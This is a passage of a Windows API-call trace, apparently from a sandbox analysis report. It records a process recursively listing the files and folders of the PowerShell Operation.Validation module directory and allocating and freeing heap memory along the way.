Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0242.180] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.180] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0242.221] GetProcessHeap () returned 0xc10000 [0242.221] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0242.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0242.222] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.222] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0242.222] GetProcessHeap () returned 0xc10000 [0242.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0242.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0242.225] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.225] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0242.225] GetProcessHeap () returned 0xc10000 [0242.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0242.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.226] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0242.226] GetProcessHeap () returned 0xc10000 [0242.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0242.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0242.229] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.229] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0242.229] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0 [0242.229] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0242.229] GetProcessHeap () returned 0xc10000 [0242.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0242.229] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0242.229] GetProcessHeap () returned 0xc10000 [0242.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0242.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0242.230] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.230] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1 [0242.230] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0 [0242.230] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0242.230] GetProcessHeap () returned 0xc10000 [0242.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0242.230] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0242.230] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0242.231] GetProcessHeap () returned 0xc10000 [0242.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0242.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0242.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1 [0242.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1 [0242.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1 [0242.231] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 1 [0242.231] GetProcessHeap () returned 0xc10000 [0242.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0242.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0242.550] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0242.550] GetProcessHeap () returned 0xc10000 [0242.550] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0242.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0242.553] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.553] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1 [0242.553] GetProcessHeap () returned 0xc10000 [0242.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0242.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0242.555] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.555] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0242.555] GetProcessHeap () returned 0xc10000 [0242.555] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0242.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0242.556] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.557] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0242.557] GetProcessHeap () returned 0xc10000 [0242.557] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0242.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, 